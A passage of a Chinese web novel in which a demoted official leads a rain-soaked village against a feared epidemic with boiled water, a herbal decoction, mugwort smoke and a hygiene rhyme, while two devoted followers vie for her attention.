余玥玺再次面向了众人:“要不大家还是先尽早回家歇一会,中午吃饭前,我们还是在古井槐树下集合,好吗?”
“切记切记,除了换身干燥的衣物以及躺下休息外,什么都不要做。我会在会中告知大家该怎么做。”
村民们见着这位一向和蔼可亲的大人脸上出现了此前从未有过的严峻表情,也算是意识到了事态的紧急性,他们纷纷点头,表示已经理解了。
走出这个小平台,村民们也开始分两头走了,余玥玺是向左走的,周小吉和桃儿她们是向右走的。
临分别了,余玥玺还不忘再次提醒她们:“一定什么都不要做哦!尤其是吃东西!”
“知道啦!”两人回答。
余玥玺开始一个人向家中走,她始终感觉有人在不远不近地跟着自己,一转头,是意料之中的华画。
“干嘛去?”
华画停住,有些无辜:“不干嘛,就是想跟着你。”
“跟着我做什么,你回你自己的家去。”余玥玺装出一副苛责的样子,“你不是说你有家吗,跟着我回去可不太好。”
华画如同眼睛进沙子了一般眨眼:“余大人……你就让我送你回去吧。我,我不进屋子行吗?我看你进屋子了我就回去,好吗好吗?”
余玥玺有些无可奈何:“不过你为什么一定要跟着我,我能有什么事。”不过她
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没有拒绝,二人就这样一个在前一个在后地走着。
烂泥村此时倒是名副其实了,余玥玺小心地辨认着脚下的路,好不让自己踩到泥里去。直到脚下的路变得熟悉、明白自己即将到家的时候,余玥玺才抬起头放心地走了起来,这一抬头,却看见一个有些脸熟的人站在墙外,站得笔直,背上还背着一个包袱。
有些眼熟,但一细想又不记得在哪里看过。
华画也看见了那个人,他也同样不解,看这身打扮,绝不是这村子里的人,那又会是哪里来的呢?他加快了步子,转而与余玥玺并排走着,余玥玺侧头看了他一眼,并未有所表示。
“余大人好,在下带着您想要的东西回来了。”那人语气恭敬,说着头就磕了下去。
余玥玺总算想起来这是谁了,那个姓郑的给他塞过来的护卫乔河,她刚想让乔河起来,就听见华画不甚客气的声音:“你是谁?为什么也要叫她余大人?”
华画也觉这人眼熟,同样也想不起他在哪见过他,但这份熟悉却让他有些焦虑。
“在下乔河,奉命为余大人做事,不知您是……”乔河的语气依旧恭敬。
华回“哼”了一声道:“我姓华,也是为余大人做事的。”
乔河当时诚恳道:“那您就是华大人了,华大人好。”
这一声华大人让华画后面那句嘲讽的话堵在了嗓子眼里。
余玥玺将华画推到一边,客气道:“既然如此,乔河,那就把东西带进来吧,正好我也瞧瞧怎么样。”
乔河点点头,重新背起大包袱,跟在余玥玺的身后进了屋。华画如梦初醒,也跟着乔河要进来。
都已经跨过门槛了,余玥玺有些不悦地看着他:“你刚才怎么答应我的?”
“可是他都能进来诶,我……”
华画垂下头,语气有些沮丧:“那好吧,我不该这样,我这就走,不过我会第一个到达古井的!”
说这句话的时候华画尚且垂头丧气,一转过身子,他又立刻昂扬了起来。
乔河谨慎地观察着余玥玺的表情,她似乎在得意地笑,在余玥玺的脸重新收回到屋内的前一刻,他迅速地低下头去解开包袱的扎口。
“诶,乔河,你以后不用叫他华大人懂吗?他算什么大人啊?又倔又傲,而且还有些单纯过头。”
乔河依旧恭敬道:“是,余大人,在下明白了。这些就是您让我带回来的东西了,请您过目。”
“我本来两天前就可以到了的,忽然遇上了大雨,行路困难,因此在路上耽搁了些日子,还望余大人宽恕。”
余玥玺满不在乎地摆了摆手:“没事没事,安全第一。”
“按您的要求,准备了相当多的药材,针对各种疾病的都有。”乔河一板一眼道,“此次前去将一家药铺搜刮一空,老板很高兴,表示要与您建立长期契约关系。”
“还有糖,糖铺的糖实在是太多了,我没办法将所有糖都带来,而且老板也不同意,所以我只带了一部分,下次就可以都带来了。”
余玥玺连忙叫停:“打住打住,不需要。”
乔河这人,怎么一本正经地在讲笑话。
她翻动着药材,她不是医学生,她显然辨认不出,于是她问乔河:“你懂这些都是什么药材吗?以及它们都有什么功效?”
乔河回答:“我可以学。”
那就是不知道了,余玥玺叹气,转身去屋子里准备找有没有相关的书籍。
她堂堂历史生,竟要成为医学生了吗?
26.小余医学生涯的第一课
不就是对着图画找草药嘛,简单!余玥玺给自己鼓劲打气,这比当一个彻彻底底的医学生要来得简单吧?
但看着手头那本厚厚的书,余玥玺终究是有些心里没底。一翻开目录,各类熟悉的、不熟悉的草药名在眼前铺陈开来。
那字又小又密,活像蚂蚁在爬,一眨眼,那字就变换到另一个位置上去了。
余玥玺深吸了一口气,努力使自己更气定神闲一些,她再定睛一看,终于逮到四处乱爬的蚂蚁了。
草药是按照疗效功能分类的,因此她只需要分出有关治疗风寒发热等疾病的草药出来就好。她便对着图案来找乔河带回来的药材,一边找着一边做记录。
乔河正站在门外一动不动,这位大人此时正在做着要紧工作,容不得他人打扰,正是他履行职责的最好时机。
一阵轻微的悉窣声清晰地传入他的耳中,“什么人?”他的手迅速按在腰间配的长刀上,只待不怀好意的人出现,它便可马上出鞘。
预想之中的贼人或是歹人并没有出现,出现的是一只猫。
那猫翘着尾巴走来,而后蹲在乔河的面前舔起了爪子,舔完了过后就用一双荧绿猫眼盯着他看。
乔河认出了它,便松了一口气:“原来是你啊,小家伙,你的伤已经好了?”说着他就要蹲下去去摸那猫。
“喵!”猫的眼睛陡然睁得溜圆,它站起,后爪后退一步,背也弓了起来,一副生人勿近的模样。
乔河的手停在半空,脸上浮现出尴尬的表情,他撇撇嘴,“你还真是……比我还凶神恶煞,行吧,不给我摸我就不摸了,那你陪我一起看门吧——诶,你去哪?”
猫转头便跑,只留给他一个略显高傲的背影,跑的时候又不慎踩入泥坑,拖着脏兮兮的爪子瞬间就无影无踪了。
从门内传出余玥玺的声音:“乔河,是有谁来了吗?你在和谁说话?”
乔河回答道:“没有,是猫,就是您养的那只猫,不过……”
话还没说完,余玥玺就一阵风似的从屋内卷了出来:“猫?哪儿呢哪儿呢?”
乔河接上刚刚那句未说完的话:“它跑掉了。”
余玥玺抬起的头立刻又耷拉了下去,略显失落地回屋去了。
乔河紧跟了几步问:“余大人,请问您需要帮忙吗?我可以帮您的。”
余玥玺摆了摆手,声音沉闷:“不必了,你也帮不上我什么。你就在门口等我一阵子,之后和我走就行了。然后,然后我再安排。”
“好的,在下明白了。”
这一小小插曲过去之后,余玥玺重新坐到了书桌前。刚刚她确实有些激动了,在听到有猫,甚至还有可能是花花的时候,一切问题都抛到脑后去了。
虽然连根猫毛都没看见,但她还是安慰自己,自己一回来花花也回来看她了。
这说明什么,说明自己还没有被它忘记是吗?对,就是这样。
余玥玺笑自己能被如此一只猫扰得心烦意乱,要是自己以后真的养了一只猫呢?这个想法仅仅是出现了一瞬就被她打消了。可不能再多想了,还有……还有一堆草药没有辨好。
揉揉脑袋,继续将全部的精力放到面前这堆比论文还有难对付的草药上去。
“这叶子的形状怎么对不上?怎么碎成了这个样子?怎么找不到对应的图案?”一系列不小的麻烦接踵而至。余玥玺就这样泄了气。
这玩意怎么这么烦人?
眼看着开会的时间就要到了,她才分出了不多的四种草药以及记录下了它们的疗效。但在接下来如此短的时间将所有草药全部分好显然不切实际。
她有些发愁:“乔河,你为什么不把它们分好类再带回来?”
乔河听到余玥玺在喊他,立即几个大跨步跑到了房门口:“抱歉,余大人,是这样的,当我和老板讲我全都要的时候,他便一个激动,自己将自己的店铺洗劫一空了。我都没来得及让他给我分类装好。让您受累了,是在下办事不力,该罚。”
“算了,没事。”余玥玺有气无力地摇摇头,快想想办法啊,时间马上就要到了啊!
但脑子就是如同生了锈一般,无法转动一点。
乔河看着满脸苦恼的余玥玺,轻声询问:“余大人,您怎么了?需要我帮忙吗?”
余玥玺再次摇头:“不必,我一个人可以解决的。”
但是如果就这么多的话呢?似乎可以。先分出这么多供一开始使用,后面再慢慢分……完美!余玥玺混沌的脑子仿佛泄入一点光亮,让她的思想忽而开明。
“乔河,跟我走!事情办妥了!”余玥玺高声呼喊着不久前刚走出门外的乔河。
乔河再次走到房门口,恭敬问:“请问余大人还有什么吩咐?”
余玥玺已将药草分类完毕并包装了起来:“你来把这些带上就好。”
走在路上的时候,乔河一直在谨慎地观察着四周。这村子倒还真的是破落,看起来确实不像有威胁的样子,就连人,恐怕也是不多的吧。
途中正巧经过周小吉家,而周小吉也正巧端了一盆衣服放在外面晒,她见了余玥玺,很热情地打招呼:“嗨,小玺呀,你这么早就去那边了吗?”
余玥玺停了下来,同样热情地回话:“是啊,时候也不早啦!”她看着周小吉手中那盆衣服,又笑道:“小吉你真是忙,还有我不是说过回家以后只准休息,别的什么都不做吗?”
“没关系,是干净水,奶奶也告诉我这一点了,说是雨水很脏不能碰。”周小吉一边抖落着湿淋淋的衣服一边又急切道,“小余你等我一会,我晒好衣服就和你一起走。”
余玥玺弯下腰,从盆中拾起一件衣裳:“我来帮你,放心,我不急,你也不必急。”
二人说话的时候,乔河一直像一棵沉默的树一般,不说话也不动,周小吉甚至一开始都没有注意到他,直到他再次问了一句“需要我帮忙吗”的时候,她才注意到了他,并吓了一跳。
余玥玺还是一如既往地回道:“不用,你什么都不用做。”
周小吉立马问:“他是谁?我之前肯定是没有见过他的。”
余玥玺还没来得及开口,乔河倒是像彰显存在感一般回答:“在下乔河,并非小桥流水,而是乔木。”
“我甚至都不好讲他和我的关系。”余玥玺做苦想状,“或许你可以将他看做另个华画?”
周小吉赞许道:“不愧是你啊,人格魅力这么大,我都想知道你在皇城的事迹了,你到底是做了什么有这么多追随者呢?”
“哈哈,我哪有做什么呀?”余玥玺嘻嘻哈哈道,“不过说起来,他和华画还不太一样,一个主动一个被动?”
“哦?我更有兴趣了,快说快说。”
“他是被我的政敌硬塞过来的。”余玥玺眉飞色舞,似在讲一个和她不相干的故事,“本来我是想不要的,留这样一个人在身边多危险?但我转念一想啊,这可是白捡的劳动力,不要白不要不是吗?况且那家伙离我那么远,我都被贬到这来了,已经退无可退了。”
周小吉问:“政敌是什么?”
“政敌就是总持相反意见的小人。”
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周小吉点点头表示理解了,正巧此时衣服都已经晒完了,她便朝着屋内喊了一声:“奶奶,我和小玺先走啦!你等会一个人慢点!”
韩大姨走到门口,笑着冲两人点点头:“行,你们先去吧。我也马上就动身了。”
三人走在路上,周小吉好奇地指着乔河的包袱问:“这是什么?”
余玥玺笑眯眯回答:“是草药,是一会在会上能用到的东西。”
堪堪能看见那棵老槐树的时候,余玥玺就发现了一个有些熟悉的人影在树下晃动。
“谁来的这么早?”
刚一走近,华画便笑容满面地像三人或是三人中的其中一人招手:“嘿——余大人,看我,我是第一个到的哦!”
周小吉没忍住笑了出来,余玥玺则是好整以暇地看他:“你没回去?就一直在这里等着?”
华画点头:“嗯,我一直在这里,因为我之前就说过,我会是第一个到的,看我没骗你吧。”
“是是是,你是第一。”余玥玺无奈道,心想这人怎么有些心智忽高忽低的,她又指着井旁边那个存在感过强的大锅,“这是什么?”
“这是锅。”也不知他是不是在故意装傻。
“我有眼睛能看见,我的意思是,你从哪儿弄来的这么大的锅。”
华画不假思索道:“我家。”
余玥玺又问:“你把这么大锅搬来是什么意思?”
华画嘿嘿笑道:“我猜你肯定用的到,我相当善解人意的。”
“那你倒是说说,这锅有什么用呢?”
华画继续笑:“自然是你想做什么就做什么了。”
余玥玺皱眉看他:“那这也不是你搬来一个半人高的锅的理由?用得到这么大的锅吗?”
“我觉得你用得到。”
“好吧,或许它真的会有用。”余玥玺舒展开了眉头,“接下来要做的,便是煮药汤了。”
“但是,这水已经不能用了。”
周小吉忙问:“为什么?井水不是地下的水吗?按理说很干净的啊,以前我们都是喝这水的。”
余玥玺便走到古井旁,动手费力地打起半桶水,水微微泛黄带着轻微可见的杂质:“你们看,这水的颜色可不清澈,喝了可是会害病的。”
华画最先点头:“对,没错,不能喝。我们应该听余大人的。”
“人还没来齐你在这里耍什么宝?”余玥玺似乎不满自己的话被打断,瞟了一眼华画后继续道,“但眼下我们也没有什么其他的法子了,只好用最原始的办法——沉淀,沉淀后煮沸,方可饮用。”
周小吉点头如捣蒜,乔河则是二话不说打了满满一桶水,他也补充道:“沉淀过后,只取上半部分,更能保证水的安全。”
“你们不愧都是从皇城来的,就是厉害。”周小吉看上去钦佩不已,“如果以后有机会的话,我也想去皇城多学习学习。”
余玥玺鼓励地笑道:“会有机会的。”
村民们渐渐地都来了,过滤完毕的水也尽数倒在了锅里,村民们窃窃私语,不知这位年轻的官员要做什么。
桃儿携着柳儿来了,他们一来就跑到了余玥玺的旁边,桃儿一副活力满满的样子:“听余姐姐的话准没错,睡了一觉感觉真的是好多了!”
余玥玺亲昵地拍了拍桃儿的头:“那桃儿真的是很听话。”
看着桃儿,她忽然生出了一个念头。童谣是最朗朗上口的传递信息地方式,若她可以将防疫的种种措施做成童谣呢?
这样就不愁担心实施下去过于困难了!
27.谁的醋坛子又打翻了
“童谣的特点就是朗朗上口,便于记忆与传播,用来当工具再合适不过了。”余玥玺解释着说,“同时还可以通过童谣来让孩子们认字,属实是一个一举两得的举措。”
周小吉听后点点头:“确实不错,但是这童谣要怎么写呢?对于这个什么疫病,村里人了解的也不太多,更别提怎么应对了。”
听到这话,余玥玺的脸上绽开一个自信的笑容:“交给我来!我正好对此事……颇为了解!”
此时锅内的水已经沸腾了,她再次回溯了下此前的行为,应该是没有出现纰漏的。井水是已经沉淀过了的,取得也是其中较为干净的部分,烧得也很开了,就目前这种简陋的设施,已经是做到最好了。
于是余玥玺便指挥着乔河将药草投了进去,药草在热浪滚滚的水中漂浮了几下以后就沉了下去,霎时清幽的药草香便溢了出来。
华画深吸了几口气,皱起了鼻子道:“好奇怪的味道,这是什么?不会还要我喝吧?我不!”
“是藿香,怎么,不喜欢这个味道吗?可惜哦,等会你也是要喝的。”余玥玺像是有些新奇,“不过呢,单这一种是万万不够的,我还加了甘草来提升口感,这样小孩子应该就不太会拒绝了。还是说——你连小孩子都比不上呢?”
激将法似乎对他格外有效,华画又用力吸了吸鼻子,笃定道:“不奇怪,一点也不奇怪,我觉得非常好。”
一旁的乔河的嘴角微微抽搐了一下。
余玥玺没听他的回答,而是继续说了下去:“应该还要再加一些生姜的,但是没有,不过问题也不大,有这一碗药汤就够了。”
“好像村民们已经来得差不多了,所以可以开始开会了!”
余玥玺忽然抬起胳膊挥舞,冲着远远围观的村民们喊:“来,来这边!近一点就好!”
村民们围了上来,他们此时的兴致更多地在那口大锅上而不是余玥玺接下来的解说上。
“这是什么?”有人问。
余玥玺立刻热心解答:“这是藿香甘草汤,可以祛湿抗菌、增强抵抗力。”她简化了药理,以较为简洁的形式说了出来,确保村民们可以听懂。
但是他们看起来似乎还是一知半解的样子,只点头不做其他提问。
又有人问了:“一定要喝吗?可不可以不喝?”
余玥玺摇头,拒绝得相当明确:“不可以,都要喝的。现在情况严峻,为了保障大家的健康,这药汤一定是要喝的。”
她见药汤已滚过了几遭,便让乔河抽去了柴火,不使其熄灭,而是再次堆放了起来,紧接着,余玥玺又将艾叶抖落进了火中,艾叶一经焚烧,便燃出丝丝缕缕的烟来,特有的清香弥漫开来。
“华画,你那放在锅旁边的碗是可以用的吗?干净吗?”
华画便立刻点头:“保证干净!”锅与碗向来都是配套的,有了锅,自然也就会有碗,他虽没料到这锅是用来煮药的,但碗最终还是派上了用场这一点还是让他高兴的。
“是用这碗盛药吗?好像不太够。”华画看起来似乎有些为难,“早知道这样,我应该多准备一点的。”
余玥玺笑着摇摇头,宽慰道:“没关系,按户数来,或者几个人同用一个碗,只是喝口药,总归是有办法的。”
十碗药汤最先被盛出来,排成两列放在地上,散发着腾腾热气。余玥玺端起其中一碗,面向村民们,像是在展示商品一样认真:“如何,谁先来?因为碗不够多,所以大家快喝,喝好了我才能再盛下一批。”
终究没谁敢第一个上前,余玥玺在内心腹诽:又不是毒药啊,为什么不喝!她脸上的笑容都有些僵了,就在她思考自己要不要以身作则先喝下去的时候,华画从她手中抢过了那晚,仰头一口气喝净了。
喝好后,他擦了擦唇角的药汁,似回味了一番药的滋味,而后眉开眼笑:“不难喝!”
华画从地上又端起一碗药汤,学着余玥玺的口气道:“大家快喝,好东西,可别辜负了余大人的一片良苦用心啊!”
他还真是……有样学样,别的没学到,到把自己这个动员人的口气给学了去,余玥玺不禁失笑。
接过这碗药的第二个人是周小吉,她就算是接过了,也是一副告诫的样子:“我可是看在小玺的面子上才喝的!”
华画倒也不恼,只笑道:“结果一样就好,无论是看在谁的面子上,只要喝了余大人交给我的任务我也就算是完成了。”
紧接着上前来的是桃儿与柳儿,他们同喝一碗,刚喝下去一口的时候,桃儿的眼睛就亮了起来,惊喜道:“居然不苦!我还担心是苦的呢!”
“那当然!”余玥玺自豪道,像是自己早就明白了这一点一样,“不会苦的,虽说藿香的气味有些怪异,但加入了另一味甘草后,就能稍稍掩盖住一些。”
既是有人开了头,那接下来的工作就容易了不少,那口锅中的药汤被尽数分了个干净,只残留了些药渣在底部。
余玥玺相当满意地看着,她拍了拍手,让在场所有人的注意力重新回到她的身上,她指着那堆正在焚烧的艾叶问:“大家知道这是什么吗?”
不过她的本意似乎并不是提问,而是吸引人注意的一种小小手段,因为她根本没停顿,就继续说了下去:“这是艾叶,当它不烧的时候,只是一种节日习俗物品;当它烧的时候,则可以祛晦,抑制疫病的增生。”
一大群人围在此处大半晌,身上或多或少都沾染上了些许经焚烧后的艾叶香气。
“以后大家就不需要集体焚烧了,我会给每家每户都分一些,一定要记得每日按时焚烧!”
“此外,大家一定要记得不可直接饮用生水,一定要烧开之后才可以喝。”余玥玺忽然想到了这口古井中脏污的水,她便又提醒,“井水也不可以,无论什么水,都要烧开过后才可以喝。”
“好的,没事了,大家可以回去了,关于随后分发艾叶的事情,我就交由这位小兄弟了。”余玥玺随手一指,指向了自打一开始就沉默的像一棵树的乔河。
乔河站得笔直又不说话,听到自己被点名以后,也只是很高冷地微微点头,轻轻地“嗯”了一声。
“行,暂且就先这样。”余玥玺再次点头
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,她向乔河招手,“再随我来一趟,除了艾叶还有一些其他的东西,因为我还需要做其他的事情,所以就麻烦你啦!”
余玥玺眉眼弯弯,好声好气,乔河还是一如既往地点头,他什么都不说,也什么都不必说,只需要认真对待每一件任务就好了。
两人一个在前一个在后,后面那个不远不近地跟着,前面那个步履生风。眼见这两人已经走出十几米开外,再不做点什么,恐怕自己才是被抛弃的那个。华画皱眉,快跑了几步,终于追上了余玥玺,他开口,声音有些疑惑,又有些委屈:“大人怎么不找我帮忙?”
余玥玺顿住脚步,像是第一次见到他一样震惊:“你想做什么?你已经做得很多了,我不好总是麻烦你。”
华画生怕自己“没用了”,他连忙为自己辩解:“我还可以做的更多!只要您能……继续用得上我。”
余玥玺看着他委屈巴巴的脸,心里忽然生出了一种异样的感觉,这个眼神,她是不是在哪里看到过?
她沉吟片刻,问:“你是不是说过,你会念诗写字?”
“会的会的,我什么都会!”华画立即紧张回答,“你需要我会什么,我就可以会什么!”
余玥玺笑了,她打趣道:“我需要你会什么你就会什么?很唯心啊,华画。不过我要求的也不多,你就负责协助我完成童谣的编纂吧!”
“行,就这样,跟我走。”
余玥玺似乎没在意华画是走在她的后面还是她的身侧,她笑着解释道:“我对这边的童谣不太了解,可能需要你对童谣的格式做出珍贵的指导意见?”
华画似乎有些羞涩了,他一边嘿嘿傻笑一边挠自己的后脑勺:“珍贵,不敢当,嘿嘿。”
“没关系,毕竟我也是第一次啊,寓教于乐,我觉得挺不错。”
“对,非常不错!余大人简直高明!”
这下轮到乔河感觉自己是多余的那个了,不过他也不在意,因为他又不是某人,一感觉自己受到了冷落,就巴巴地凑上前去找存在感了。
回到了住所以后,余玥玺立即取出一张纸铺在华画的面前,她做出思考的样子:“嗯,我来说要点,你负责记录重点好吗?”
华画郑重拿起笔,狠狠点了一下头。
“好,第一点,也就是我在会上才提到过的,喝煮沸过的水,直饮生水是禁忌;还有那碗药汤,最好也是得每天喝的;已经衣服还有人要常用烧艾叶的烟来熏一熏,以及个人卫生?比如勤洗手常通风……”
余玥玺说着说着就不由自主联想到了现代标语,她有些尴尬地止住了话头,眼睛也飘飘忽忽落不到实处。华画抬头,眼睛看起来亮晶晶的:
“余大人,还有吗?我可以随时再次为您记录。”
“就先这样吧,大致框架已经差不多了,剩下的就应该是完善细节了。”
华画的声音听起来是由衷的敬佩:“余大人好厉害,我要追随您一辈子!”
恰巧乔河这个时候正好送完了东西才回来,还没进门,就听到了这一句意味深长的话。也不知余大人到底理解了没。
28.藏不住的小心思
余玥玺绞尽脑汁搜索枯肠,思索着该如何将这些没甚趣味的话编成一首童谣,她单单只是想“童谣”这个词的时候,就不可避免地会想起类似于“小兔子乖乖,把门开开……”一类路过幼儿园门口时经常会听到的欢快的童谣。
但这显然不是她现在应该想的,她再次思索无果后将求助的目光投向了华画,说好的你要帮我,现在该你了。
华画还是保持着那个动作,一对笑眼微微眯缝着看余玥玺,唇角勾起笑容,见余玥玺在看他,他立马眼睛一亮:“怎么样,余大人,是有什么新内容要补充吗?”
余玥玺搁下了手中的笔,手掌交叠放在下巴下,目光炯炯,声音有一丝不易察觉的愠怒:“不是说好的,你是来帮助我的吗?”
她停顿了一下,继续道:“那么请问,你、现、在、在、做、什么?”
华画显然是没听出其中的门道,他近乎欢欣地举起了那张纸,骄傲地向余玥玺展示:“你看,我这不是在好好地帮你的忙吗?”
他的笑容是如此纯真,以至于余玥玺一腔的愤愤不平此刻哑了火。
“我保证,会一个字不落地记下来!”华画又热情洋溢地开口。
余玥玺抬起了下巴,长舒了一口气使自己的心情平静下来。
“你可以提供除了整理信息之外的其他帮助吗?”
华画脸上的笑容僵了一瞬,紧接着他又笑了:“余大人可否将话说得更明白些?”
“就是我的话的意思,你除了整理信息还能做什么?”
于是华画老老实实地回答:“我还会写字。”
余玥玺看着他,他也龇着牙看余玥玺,终是余玥玺败下阵来,她摇摇头,叹息似地说:“没一个可信的,到头来啊,还是要看我自己。”
“您继续说嘛,我一直听着呢。”华画将纸又放得离余玥玺近了些,“我有用的!”
“得了吧,有什么用。”余玥玺从思索的间隙白了一眼华画,“你也没有让我靠得住的资本,绣花枕头一个。”
华画再次沉默微笑,这让余玥玺想起了楼下养的金毛,无论何时,都是一副龇牙傻乐的模样。但华画呢?也不好说他就是狗。
余玥玺一旦停止对正事的思考就会胡思乱想。
终于,华画小心翼翼地开口询问:“余大人?你在想什么?”
余玥玺发散得乱糟糟的思维终于被拽回来了,她看起来还略有些茫然,她眨了眨眼睛,尴尬地咳了几声:“没什么,只是在想这个该怎么写——想来想去,也没什么好主意。”
“如果您真的需要我的帮助的话,我有一个更好的主意。”
余玥玺终于认真地看起华画来:“好,说。”
华画指着那堆半干未干的书籍道:“不知这里有没有幼儿学堂读物,大概可以照葫芦画瓢的吧?”
他的声音透露着浓浓的不自信,然而余玥玺眼睛一亮,兴奋不已地一掌拍上华画的肩膀:“对呀,我怎么就没想到!”
“仿句式什么的,我最擅长了!”余玥玺继续高兴地补充了一句,她站起身,差点没激动地在屋里转上两圈。
等站定后,她将那堆书重新一分为二:“这个你应该也可以帮上忙的吧?来,你来看这一堆,我来看这一堆,我们速战速决!时间不多了!”
华画深深为自己能帮上余玥玺而高兴,在他的认知中:余玥玺需要他帮忙,他恰好还可以帮上她,那么就是完美的。
两人翻找了一阵子之后,一共找出了三本相关书籍,除去两本一样的,剩下来可以参考学习的还有两本。
余玥玺翻开第一页,先是念了一遍,然后才开始分析句式。
“不需要再看看后面几篇吗?”华画问。
余玥玺头也没抬:“不需要,它能被放在第一篇,肯定是有它的道理的。”
华画点头,表示受教了,又听见余玥玺对他说:“没什么事你就走吧,反正你现在也帮不上我。省得在这里晃来晃去影响到我。”
“我不动,行不行?”华画不想走。
“这是我的寝房。”余玥玺极为平淡地开口,“你若实在不想走,就去门口和乔河聊天,啊,去吧,别吵到我就行。”
虽然自己没有被彻底赶走,但这不是他想要的结果。但余玥玺已经很明确地说了不要他待在自己的身边,那他只好走了,他不想当一个烦人的家伙。于是他起身离去,临走前还特地补充了一句:“余大人,我不走,我就在门口,有事可以随时叫我!”
余玥玺没回应,但他也不敢再说第二遍了,于是他走出了房门,刚出门便看见了倚在墙上抱着把刀表情淡漠的乔河。
乔河似是察觉到了动静,他站直了,看着华画道:“怎么,又被余大人赶出来了?啧啧,你说了什么啊?”
又?华画像是被踩了尾巴一样,他瞪着乔河道:“关你什么事,你又是谁?你凭什么也叫她余大人?”
“唉。”乔河叹了一口气,“这是我的工作,你这种没工作的人就不要说话了。”
“不过,你姓华是吗?华画,华公子?”
华画没来由地有些紧张,平复下了心情才开口:“是啊,怎样?”
乔河的表情看起来有些凝重:“可据我所知,皇城可没有哪个大户人家的姓是华的,你到底从哪来的?”
“谁说我就是大户人家的了?你未免多想了。”华画警惕地看着他,“不对,你又是怎么对皇城的一切情况了如指掌的?你又是谁?”
乔河赶紧摆了摆手道:“工作性质罢了,没什么高明的。”
华画虽然有所放松,但还是谨慎地观察着乔河的一举一动:“你问我这个做什么?”
“因为为余大人排除身边的一切不稳定因素是我的职责,不要看我为余大人跑腿就当我是个杂役了,你知道我是谁吗?”
华画理应注意第一句的,但他的注意力却被后面那个问句给吸引了去,他很不确定地说:“你是乔河,不对吗?”
乔河反倒被这句话被懵住了,他是真的没想到会有人单纯或者说是蠢到这个地步,自己说自己的身份那还有什么神秘感!
“我是个暗卫。”乔河眯着眼睛,压低声音道。
华画似懂非懂,“哦”了一声点点头:“我好像听过。”之后便再无其他表示。
想来这人也是个没眼力见的,要不然也不会被余大人赶出来,乔河如此想着,竟对华画生出几分同情来,还没等他做宽慰,华画倒是先发制人了。
“余大人知道你先前是做暗卫的吗?据说暗卫都杀过……若是她知晓了,还会对你如此信
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任让你留在她的身边做事吗?”
华画的眼睛一反常态地闪过锐利的光:“这样我就可以,一个人为余大人做事了。”
本来提心吊胆的乔河在听到这句话后彻底放下心来,他轻松道:“华公子可别忘了你也有把柄握在我的手中,你的身份背景,只要我想,我便是可以查得到的。你对余大人没有说实话,她会不会……”
华画恨恨地盯着他看,半天才从牙缝中挤出一句话:“你要做什么?”
乔河的脸上恢复了以往面无表情的样子,语气平淡:“只求华公子给我全家留条生路,我这一大家子可都指着我养。”
华画心中一惊,刚想道歉,却又听乔河用最平淡的声音抛出一句爆竹一般的话:“放心,我知道你喜欢余大人。”
“我我我……”华画的脸迅速涨红,眼睛都快要瞪出来了。
“没有否认,看来是真的了。”乔河的脸上又浮现出一丝不易察觉的笑意,“放心,我不说。”
华画深呼吸了几口气,然后说:“那好,我们各退一步,互相保守秘密。”
乔河点头,收了笑意:“还请华公子再努努力,毕竟目前看起来,余大人对你可没半点意思。”
听了这话,华画又差点没跳起来嚷,但一想到余玥玺的告诫,他又闭了嘴,冷哼一声道:“没有就没有,那又怎样!我总会……算了。”
“她没有必要回应我,我也没有资格让她回应我。”
乔河不解:“你是傻的吗?”
“她不属于这里,而我也离不开这里。我纯粹只是为了报恩,不敢有别的想法。”华画抬头看天,天已经有了放晴的迹象,“我只想,这个过程长一点、再长一点就好了。”
雨后山间的风清爽,阳光温润,华画的心情一片阳光明媚。
“我想的其实挺明白的了。”
乔河笑了笑,此后二人无言,齐齐坐在了门槛上,一个抬头望天,一个望着院门外。
屋内的余玥玺终是在一通删删改改后完成了满意的第一稿,当她捧着稿子出来看到的便就是这样一幅场景。
“咳咳,谁来帮忙?”
华画立马跳了起来,声音激动:“我来——”
“好,这次的忙你应该可以帮上了,就是把我写的童谣抄上个二十遍!”余玥玺得意地晃了晃手中的纸,“之后就可以分给村民们了。”
“那之后的分发任务,依旧可以交给我。”乔河同样也站了起来,“这方面我比华公子更擅长。”
他无视华画挤眉弄眼的表情继续悠悠然道:“我总得多多熟悉此地,还有这里的人。望余大人可以给我这个机会。”
余玥玺没多想就同意了:“也好,在你下次出山之前就负责这些跑腿的工作,也不需要多交流,挺适合你的性格。”
乔河向余玥玺行了一个礼:“多谢余大人。”
半个时辰后,一叠写满了字的纸被交到了乔河的手中,乔河于是领命而去。
虽然那户人家不在顺路上,要想第一个送达的话还得多行一段路程,但乔河不在乎,他站在那户人家的门口,恭恭敬敬递出一张纸:“周姑娘,请收好了。”
周小吉先是仔细地看了眼纸上的内容,然后才微笑道:“多谢了。”
“无妨。”
29.呆鹅
当一切都准备就绪后,余玥玺再次将全村人都召集了起来,并用相当郑重的语气表示:“此事非同小可,大家千万千万要来,还有不要忘记将那张纸带上。”
村民们兴许是已经习惯这位从皇城来的新官风风火火的性子了,因此没人提出质疑,纷纷在规定的时间赶到了古井槐树旁。
周小吉兴奋不已,这是她第一次正式可以以皇城官员特聘“老师”的身份进行授课,而且对象还不仅仅只是小孩子们,还有先前反对她的长辈们!
这是她曾经想都不敢想的。
刚从兴奋状态中回过神,一转头便发现余玥玺在笑着看她。
余玥玺伸手戳了戳周小吉的嘴角,语气似是调侃:“这么开心啊,嘴角都要咧到天上去了。内容应该都看完了吧,有什么地方不理解的吗?”
“没有,都理解了!挺好理解的。”周小吉点点头,又夸赞道,“小玺你真的好厉害,居然在一天时间内就写出了一首这么完整的歌谣!”
“不过应该不需要唱的吧?”她略有些担心地问,“我不擅音律。”
“当然不需要!你念一句,他们跟读就行。目前只要暂且理解内容并照着这个实施下去就已经很好了!毕竟现在摆在我们面前最大的问题就是平安度过这次潜藏的疫病,没有一个人生病就好!”
二人相视一笑,一道熟悉的声音自遥远的前方传来:
“余姐姐、小吉姐姐——我来啦——”
是桃儿,她一脸阳光一般明媚的笑容,眼睛也亮亮的,像一只活泼的鸟儿般飞来,她身后的柳儿一脸紧张,张开嘴似乎说了些什么,但由于离得太远听不清,不过猜也能猜到是类似于“慢点、小心”的词。
不多时,桃儿就已经站在两人面前了,仰脸微笑。
看着这花一般的笑脸,余玥玺没忍住摸了摸她的头,声音温柔:“小桃儿,什么事这么开心?”
像是“我就知道你会这么问”一样,桃儿脸上的笑容染上骄傲,她将那张纸从怀中掏出展开并抖了抖:“我这上面的字基本都认识了哦,怎么样,我是不是很厉害?”
“厉害,厉害。”余玥玺手上动作没停,不过从摸变成了轻拍,“这一切是不是还多亏了你小吉姐?没有她的悉心教导,你是不是也不能认识这么多字?”
